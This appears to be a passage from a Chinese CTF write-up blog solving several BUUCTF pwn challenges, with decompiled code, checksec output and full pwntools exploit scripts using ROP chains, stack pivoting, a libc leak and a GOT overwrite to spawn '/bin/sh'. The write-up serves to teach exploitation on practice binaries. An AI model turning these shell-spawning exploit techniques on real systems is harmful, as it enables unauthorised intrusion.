<p>除此之外还有三个函数：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">char</span> *__cdecl <span class="title">add_flag</span><span class="params">(<span class="keyword">int</span> a1, <span class="keyword">int</span> a2)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> *result; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ( a1 == <span class="number">0xCAFEBABE</span> &amp;&amp; a2 == <span class="number">0xABADF00D</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    result = (<span class="built_in">strlen</span>(&amp;<span class="built_in">string</span>) + <span class="number">0x804A060</span>);</span><br><span class="line">    <span class="built_in">strcpy</span>(result, <span class="string">&quot;/.flag1&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">char</span> *__cdecl <span class="title">add_home</span><span class="params">(<span class="keyword">int</span> a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> *result; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ( a1 == <span class="number">0xDEADBEEF</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    result = (<span class="built_in">strlen</span>(&amp;<span class="built_in">string</span>) + <span class="number">0x804A060</span>);</span><br><span class="line">    <span class="built_in">strcpy</span>(result, <span class="string">&quot;/home&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">exec_string</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s; <span class="comment">// [esp+Bh] [ebp-Dh] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(&amp;<span class="built_in">string</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">    perror(<span class="string">&quot;Wrong file&quot;</span>);</span><br><span class="line">  fgets(&amp;s, <span class="number">50</span>, stream);</span><br><span class="line">  <span class="built_in">puts</span>(&amp;s);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  <span class="keyword">return</span> fclose(stream);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>怎么说呢，一般情况下这几个函数就够了，payload这样构造：</p>
<p><code>payload = &#39;a&#39;*(0x6c+4)+p32(add_home)+p32(pop)+p32(0xdeadbeef)+p32(add_flag)+p32(pop_pop)+p32(0xCAFEBABE)+p32(0xABADF00D)+p32(exec_string)</code></p>
<p>但是buu的平台都懂的，flag只在根目录下，so：</p>
<p>exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment"># io = process(&quot;./pwnme2&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">26032</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwnme2&quot;</span>)</span><br><span class="line"></span><br><span class="line">gets = elf.sym[<span class="string">&#x27;gets&#x27;</span>]</span><br><span class="line">exec_string = <span class="number">0x080485CB</span> </span><br><span class="line">string = <span class="number">0x0804A060</span></span><br><span class="line">payload = (<span class="number">0x6c</span>+<span class="number">4</span>)*<span class="string">&#x27;a&#x27;</span> + p32(gets) + p32(exec_string)+p32(string)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">&#x27;flag&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<p>正常exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&quot;./pwnme2&quot;</span>)</span><br><span class="line"><span class="comment"># io = remote(&quot;node4.buuoj.cn&quot;,26032)</span></span><br><span class="line">elf = ELF(<span class="string">&quot;./pwnme2&quot;</span>)</span><br><span class="line"></span><br><span class="line">gets = elf.sym[<span class="string">&#x27;gets&#x27;</span>]</span><br><span class="line">exec_string = <span class="number">0x080485CB</span> </span><br><span class="line">add_home = <span class="number">0x08048644</span></span><br><span class="line">add_flag = <span class="number">0x08048682</span></span><br><span class="line">pop_ret = <span class="number">0x08048680</span></span><br><span class="line"></span><br><span class="line">pop_pop_ret = <span class="number">0x0804867f</span></span><br><span class="line">string = <span class="number">0x0804A060</span></span><br><span class="line"><span class="comment"># payload = (0x6c+4)*&#x27;a&#x27; + p32(gets) + p32(exec_string)+p32(string)</span></span><br><span class="line"><span class="comment"># io.sendline(payload)</span></span><br><span class="line"><span class="comment"># io.recv()</span></span><br><span class="line"><span class="comment"># io.sendline(&#x27;flag&#x27;)</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">payload = (<span class="number">0x6c</span>+<span class="number">4</span>)*<span class="string">&#x27;a&#x27;</span> + p32(add_home)+p32(pop_ret)+ p32(<span class="number">0xDEADBEEF</span>)+p32(add_flag)+p32(pop_pop_ret)+p32(<span class="number">0xCAFEBABE</span>)+p32(<span class="number">0xABADF00D</span>) + p32(exec_string)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x47-actf-2019-babystack"><a href="#0x47-actf-2019-babystack" class="headerlink" title="0x47.actf_2019_babystack"></a>0x47.actf_2019_babystack</h1><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">yutao@ubuntu:~/Desktop$ checksec ACTF_2019_babystack</span><br><span class="line">[*] <span class="string">&#x27;/home/yutao/Desktop/ACTF_2019_babystack&#x27;</span></span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x400000)</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>观察到：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">.text:00000000004009C1 loc_4009C1:                             ; CODE XREF: main+B8↑j</span><br><span class="line">.text:00000000004009C1                 lea     rax, [rbp+s]</span><br><span class="line">.text:00000000004009C8                 mov     rsi, rax</span><br><span class="line">.text:00000000004009CB                 mov     edi, offset format ; &quot;Your message will be saved at %p\n&quot;</span><br><span class="line">.text:00000000004009D0                 mov     eax, 0</span><br><span class="line">.text:00000000004009D5                 call    _printf</span><br><span class="line">.text:00000000004009DA                 mov     edi, offset aWhatIsTheConte ; &quot;What is the content of your message?&quot;</span><br><span class="line">.text:00000000004009DF                 call    _puts</span><br><span class="line">.text:00000000004009E4                 mov     edi, 3Eh ; &#x27;&gt;&#x27;  ; c</span><br><span class="line">.text:00000000004009E9                 call    _putchar</span><br><span class="line">.text:00000000004009EE                 mov     rdx, cs:nbytes  ; nbytes</span><br><span class="line">.text:00000000004009F5                 lea     rax, [rbp+s]</span><br><span class="line">.text:00000000004009FC                 mov     rsi, rax        ; buf</span><br><span class="line">.text:00000000004009FF                 mov     edi, 0          ; fd</span><br><span class="line">.text:0000000000400A04                 call    _read</span><br><span class="line">.text:0000000000400A09                 mov     edi, offset aByebye ; &quot;Byebye~&quot;</span><br><span class="line">.text:0000000000400A0E                 call    _puts</span><br><span class="line">.text:0000000000400A13                 mov     eax, 0</span><br><span class="line">.text:0000000000400A18</span><br><span class="line">.text:0000000000400A18 locret_400A18:                          ; CODE XREF: main+C9↑j</span><br><span class="line">.text:0000000000400A18                 leave</span><br><span class="line">.text:0000000000400A19                 retn</span><br></pre></td></tr></table></figure>

<p>可以就进行栈迁移</p>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context(log_level = <span class="string">&quot;debug&quot;</span>)</span><br><span class="line"><span class="comment"># io = process(&quot;./ACTF_2019_babystack&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">26812</span>)</span><br><span class="line"></span><br><span class="line">elf = ELF(<span class="string">&quot;./ACTF_2019_babystack&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-x64-2.27.so&quot;</span>)</span><br><span class="line"><span class="comment"># libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">main_addr = <span class="number">0x04008F6</span> </span><br><span class="line">leave_ret = <span class="number">0x0400a18</span></span><br><span class="line">pop_rdi_ret = <span class="number">0x0400ad3</span></span><br><span class="line">ret = <span class="number">0x400a4f</span></span><br><span class="line">io.recvuntil(<span class="string">&quot;&gt;&quot;</span>)</span><br><span class="line"></span><br><span class="line">io.sendline(<span class="string">&#x27;224&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">&quot;at &quot;</span>)</span><br><span class="line">stack_addr = <span class="built_in">int</span>(io.recvuntil(<span class="string">&#x27;\n&#x27;</span>,drop=<span class="literal">True</span>),<span class="number">16</span>)</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">8</span> + p64(pop_rdi_ret)+p64(elf.got[<span class="string">&#x27;puts&#x27;</span>])+p64(elf.plt[<span class="string">&#x27;puts&#x27;</span>])+p64(main_addr)</span><br><span class="line">payload += (<span class="number">0xd0</span>-<span class="built_in">len</span>(payload))*<span class="string">&#x27;a&#x27;</span> + p64(stack_addr)+p64(leave_ret)</span><br><span class="line"></span><br><span class="line">io.recvline()</span><br><span class="line">io.recvuntil(<span class="string">&quot;&gt;&quot;</span>)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.recvuntil(<span class="string">&quot;Byebye~\n&quot;</span>)</span><br><span class="line"></span><br><span class="line">puts_addr = u64(io.recvuntil(<span class="string">&#x27;\x7f&#x27;</span>).ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(puts_addr)</span><br><span class="line"></span><br><span class="line">base = puts_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">system_addr = base+libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = base + libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).<span class="built_in">next</span>()</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">&quot;&gt;&quot;</span>)</span><br><span class="line"></span><br><span class="line">io.sendline(<span class="string">&#x27;224&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">&quot;at &quot;</span>)</span><br><span class="line">stack_addr = <span class="built_in">int</span>(io.recvuntil(<span class="string">&#x27;\n&#x27;</span>,drop=<span class="literal">True</span>),<span class="number">16</span>)</span><br><span class="line">io.recv()</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">8</span>+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system_addr)</span><br><span class="line">payload += (<span class="number">0xd0</span>-<span class="built_in">len</span>(payload))*<span class="string">&#x27;a&#x27;</span> + p64(stack_addr)+p64(leave_ret)</span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x48-picoctf-2018-got-shell"><a href="#0x48-picoctf-2018-got-shell" class="headerlink" title="0x48.picoctf_2018_got_shell"></a>0x48.picoctf_2018_got_shell</h1><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">yutao@ubuntu:~/Desktop$ checksec ./PicoCTF_2018_got-shell</span><br><span class="line">[*] <span class="string">&#x27;/home/yutao/Desktop/PicoCTF_2018_got-shell&#x27;</span></span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl __noreturn <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  _DWORD *v3; <span class="comment">// [esp+14h] [ebp-114h] BYREF</span></span><br><span class="line">  <span class="keyword">int</span> v4; <span class="comment">// [esp+18h] [ebp-110h] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">256</span>]; <span class="comment">// [esp+1Ch] [ebp-10Ch] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v6; <span class="comment">// [esp+11Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v6 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  setvbuf(_bss_start, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;I&#x27;ll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%x&quot;</span>, &amp;v3);</span><br><span class="line">  <span class="built_in">sprintf</span>(s, <span class="string">&quot;Okay, now what value would you like to write to 0x%x&quot;</span>, v3);</span><br><span class="line">  <span class="built_in">puts</span>(s);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%x&quot;</span>, &amp;v4);</span><br><span class="line">  <span class="built_in">sprintf</span>(s, <span class="string">&quot;Okay, writing 0x%x to 0x%x&quot;</span>, v4, v3);</span><br><span class="line">  <span class="built_in">puts</span>(s);</span><br><span class="line">  *v3 = v4;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Okay, exiting now...\n&quot;</span>);</span><br><span class="line">  <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p><strong>hijack got</strong>，将puts或者exit的got改为后门函数的地址就OK：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context(log_level = <span class="string">&quot;debug&quot;</span>)</span><br><span class="line"><span class="comment"># io = process(&quot;./PicoCTF_2018_got-shell&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">28301</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./PicoCTF_2018_got-shell&#x27;</span>)</span><br><span class="line">io.sendline(<span class="built_in">hex</span>(elf.got[<span class="string">&#x27;puts&#x27;</span>]))</span><br><span class="line">io.sendline(<span class="built_in">hex</span>(elf.sym[<span class="string">&#x27;win&#x27;</span>]))</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x49-picoctf-2018-can-you-gets-me"><a href="#0x49-picoctf-2018-can-you-gets-me" class="headerlink" title="0x49.picoctf_2018_can_you_gets_me"></a>0x49.picoctf_2018_can_you_gets_me</h1><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">yutao@ubuntu:~/Desktop$ checksec  ./PicoCTF_2018_can-you-gets-me</span><br><span class="line">[*] <span class="string">&#x27;/home/yutao/Desktop/PicoCTF_2018_can-you-gets-me&#x27;</span></span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br></pre></td></tr></table></figure>

<p>静态编译，可以直接：<code>ROPgadget --binary PicoCTF_2018_can-you-gets-me  --ropchain</code></p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python2</span></span><br><span class="line"><span class="comment"># execve generated by ROPgadget</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">io= process(<span class="string">&quot;./PicoCTF_2018_can-you-gets-me&quot;</span>) </span><br><span class="line"><span class="comment"># Padding goes here</span></span><br><span class="line">p = <span class="string">&#x27;a&#x27;</span>*<span class="number">24</span>+<span class="string">&#x27;aaaa&#x27;</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0806f02a</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea060</span>) <span class="comment"># @ .data</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080b81c6</span>) <span class="comment"># pop eax ; ret</span></span><br><span class="line">p += <span class="string">&#x27;/bin&#x27;</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080549db</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0806f02a</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea064</span>) <span class="comment"># @ .data + 4</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080b81c6</span>) <span class="comment"># pop eax ; ret</span></span><br><span class="line">p += <span class="string">&#x27;//sh&#x27;</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080549db</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0806f02a</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea068</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x08049303</span>) <span class="comment"># xor eax, eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080549db</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080481c9</span>) <span class="comment"># pop ebx ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea060</span>) <span class="comment"># @ .data</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080de955</span>) <span class="comment"># pop ecx ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea068</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0806f02a</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea068</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x08049303</span>) <span class="comment"># xor eax, eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0806cc25</span>) <span class="comment"># int 0x80                                                                             </span></span><br><span class="line">io.recv()</span><br><span class="line">io.send(p)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<p>或者：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context(log_level = <span class="string">&quot;debug&quot;</span>)</span><br><span class="line">io = process(<span class="string">&quot;./PicoCTF_2018_can-you-gets-me&quot;</span>)</span><br><span class="line"><span class="comment"># io = remote(&quot;node4.buuoj.cn&quot;,28301)</span></span><br><span class="line">int_80 = <span class="number">0x0806cc25</span>   </span><br><span class="line">pop_eax = <span class="number">0x080b81c6</span>    </span><br><span class="line">pop_ebx = <span class="number">0x080481c9</span>    </span><br><span class="line">pop_ecx = <span class="number">0x080de955</span>   </span><br><span class="line">pop_edx = <span class="number">0x0806f02a</span>  </span><br><span class="line">bin_sh_addr = <span class="number">0x80e9000</span> </span><br><span class="line">gets_addr = <span class="number">0x0804F120</span>  </span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x18</span>+<span class="number">4</span>) </span><br><span class="line">payload += p32(gets_addr)</span><br><span class="line">payload += p32(pop_eax)</span><br><span class="line">payload += p32(bin_sh_addr)</span><br><span class="line">payload += p32(pop_eax)</span><br><span class="line">payload += p32(<span class="number">0xb</span>)</span><br><span class="line">payload += p32(pop_ebx)</span><br><span class="line">payload += p32(bin_sh_addr)</span><br><span class="line">payload += p32(pop_ecx)</span><br><span class="line">payload += p32(<span class="number">0</span>)</span><br><span class="line">payload += p32(pop_edx)</span><br><span class="line">payload += p32(<span class="number">0</span>)</span><br><span class="line">payload += p32(int_80)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">&quot;GIVE ME YOUR NAME!&quot;</span>)    </span><br><span class="line">io.sendline(payload)</span><br><span 